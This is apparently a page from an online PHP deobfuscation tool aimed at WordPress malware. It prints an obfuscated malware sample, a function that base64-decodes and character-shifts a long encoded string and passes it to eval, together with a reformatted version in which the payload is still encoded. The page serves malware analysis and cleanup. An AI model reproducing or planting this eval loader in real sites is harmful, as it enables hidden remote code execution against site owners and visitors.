PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php function ͔($__){$_d_='';$_l_=strlen($__);for($i=0;$i<$_l_;$i++){$_a_=ord($__[$i]);if($_a_>=33&&$_a_<=126){$_d_ .= chr(33+(($_a_+14)%94));}else{$_d_ .= $__[$i];}}$_O_=[base64_decode('MDA=')=>'ZnVuY3Rpb24=',base64_decode('MA==')=>'Xw==',base64_decode('JE9PT08=')=>'KC...

Obfuscated php code

<?php
function ͔($__){$_d_='';$_l_=strlen($__);for($i=0;$i<$_l_;$i++){$_a_=ord($__[$i]);if($_a_>=33&&$_a_<=126){$_d_ .= chr(33+(($_a_+14)%94));}else{$_d_ .= $__[$i];}}$_O_=[base64_decode('MDA=')=>'ZnVuY3Rpb24=',base64_decode('MA==')=>'Xw==',base64_decode('JE9PT08=')=>'KCk=',base64_decode('JE9P')=>'ew==',base64_decode('JE8=')=>base64_decode($_d_),base64_decode('JE9PTw==')=>'fQ==']; return $_O_['$O'];}EvAl(͔(base64_decode("eXRoISVgRD8hcjU1KEo0WnlgX2Z5dWgkISdFOiopfT19OyM3K3YnOzNhIz16cjUiNUtfaHlKPGghOiM3ISdFOiopfT19OyM3K3YnOzNhIz16cjUqfCU4aHlKPGghOiM3KUtgMyo+dUsrJSpfKWEjPSphaDwrJDg/JGI0aCEkNEEhJWM6fT55KTQ/NGQlPHVgKiYrPzUmeUUqYXVKNnQrYSMmeX02O30hKHM1Ryc9eSc1PjhgKmFgPjV0dSc1dyN8JiZoKnw8KmImPHk9K2FocjJ2RXQnYT1ENTs4QyM7cUclKCdJfShFcTY7cT16Syd7K2A8QytiIyYrJmgpKz41ISc9fUY2Omg+KCk9SidgcUErdmRyKCkmZDViJzw0PTRiKks8YiV2K0kkc318Il9EYiUlcGR9dThhI3N5djUnJ0c0d3EhKl9gRCpidSklJ3FfKHJEY30nJzoyJ3xLK3NxQX4oY0kldDV2JmE1JzNiK3giJGh8ND4qR3xzNSEyYnU8Mz4nQ3g6STUpJEk6Kil9PX07Izcrdic7M2EjPXpyNSI2OzhoeUo8aCE6IzcjS2AzKj51SyslKl8pYSM9KmFoPCskOD8rPHRoISQ0QSElZEArKThKKj49RnpyNF98JSJgfSV8SitzfEp8SyZLfTt5PH1zfF98OyJLeUo8RCo+dUsrJSpfKWEjPSphaDwrJDg/JiZ0aCEkNEEhJWM/eUpJOiopfT19OyM3K3YnOzNhIz16cjV6K0tfaHlKPGghOjRIeUpJOiopfT19OyM3K3YnOzNhIz16cjV5JiVfaHlKPGghOjRgfTsnOyo7eGEqJSZhK3YnOXwlKzwrKCM8KiU0SH07PToqOypffSUiYypKNTV7dV9meXRnaChheTk0YSZhfXVoPCsofUcrdiZAeWErPyElXz96JV9aeXRoISEnRToqKX09fTsjNyt2JzszYSM9enI1PjM7Imh5SjxoIT5oSCsoZEs0YUk3K3YnOzQ/PUg1cjg8KWB5M3lLZz8pJ0Q/KWBnPyknRD96SjU1e3IjNyY9RD8hS2c/KSdEPzdyNTV7ciM3Jj1EPyFLZz8pJ0Q/InI1NXtyIzcmPUQ/IUtnPyknRD95OjU1e3IjNyY9RD8hS2c/KSdEP3gkNTV6JEk1e3Z5OTRhJmF9dWg8Kyh9Ryt2JkB5YCcjISVfP3olX1oqPnVLKyUqXylhIz0qYWg8KyQ4OiZ3QF8hJHhBe3VfZnl0aCElS2AzKj51SyslKl8pYSM9KmFoPCskOD8mdHRoISQ0QSElYzwlYGdoKGF5OTRhJmF9dWg8Kyh9Ryt2JkB5YHE/ISVfP3olX1orKSs5M3I4PCVgRD8mJDU1ezojIShKNVp5YGAzeWJkWnlgX0EpJEk1fkhsbA==")));

Decoded(de-Obfuscated) php code

<?php

function ͔($__)
{
    $_d_ = '';
    $_l_ = strlen($__);
    for ($i = 0; $i < $_l_; $i++) {
        $_a_ = ord($__[$i]);
        if ($_a_ >= 33 && $_a_ <= 126) {
            $_d_ .= chr(33 + ($_a_ + 14) % 94);
        } else {
            $_d_ .= $__[$i];
        }
    }
    $_O_ = ["00" => 'ZnVuY3Rpb24=', "0" => 'Xw==', "\$OOOO" => 'KCk=', "\$OO" => 'ew==', "\$O" => base64_decode($_d_), "\$OOO" => 'fQ=='];
    return $_O_['$O'];
}
eval(͔("yth!%`D?!r55(J4Zy`_fyuh\$!'E:*)}=};#7+v';3a#=zr5\"5K_hyJ<h!:#7!'E:*)}=};#7+v';3a#=zr5*|%8hyJ<h!:#7)K`3*>uK+%*_)a#=*ah<+\$8?\$b4h!\$4A!%c:}>y)4?4d%<u`*&+?5&yE*auJ6t+a#&y}6;}!(s5G'=y'5>8`*a`>5tu'5w#|&&h*|<*b&<y=+ahr2vEt'a=D5;8C#;qG%('I}(Eq6;q=zK'{+`<C+b#&+&h)+>5!'=}F6:h>()=J'`qA+vdr()&d5b'<4=4b*K<b%v+I\$s}|\"_Db%%pd}u8a#syv5''G4wq!*_`D*bu)%'q_(rDc}'':2'|K+sqA~(cI%t5v&a5'3b+x\"\$h|4>*G|s5!2bu<3>'Cx:I5)\$I:*)}=};#7+v';3a#=zr5\"6;8hyJ<h!:#7#K`3*>uK+%*_)a#=*ah<+\$8?+<th!\$4A!%d@+)8J*>=Fzr4_|%\"`}%|J+s|J|K&K};y<}s|_|;\"KyJ<D*>uK+%*_)a#=*ah<+\$8?&&th!\$4A!%c?yJI:*)}=};#7+v';3a#=zr5z+K_hyJ<h!:4HyJI:*)}=};#7+v';3a#=zr5y&%_hyJ<h!:4`};';*;xa*%&a+v'9|%+<+(#<*%4H};=:*;*_}%\"c*J55{u_fytgh(ay94a&a}uh<+(}G+v&@ya+?!%_?z%_Zyth!!'E:*)}=};#7+v';3a#=zr5>3;\"hyJ<h!>hH+(dK4aI7+v';4?=H5r8<)`y3yKg?)'D?)`g?)'D?zJ55{r#7&=D?!Kg?)'D?7r55{r#7&=D?!Kg?)'D?\"r55{r#7&=D?!Kg?)'D?y:55{r#7&=D?!Kg?)'D?x\$55z\$I5{vy94a&a}uh<+(}G+v&@y`'#!%_?z%_Z*>uK+%*_)a#=*ah<+\$8:&w@_!\$xA{u_fyth!%K`3*>uK+%*_)a#=*ah<+\$8?&tth!\$4A!%c<%`gh(ay94a&a}uh<+(}G+v&@y`q?!%_?z%_Z+)+93r8<%`D?&\$55{:#!(J5Zy``3ybdZy`_A)\$I5~Hll"));

Malware detection & removal plugin for WordPress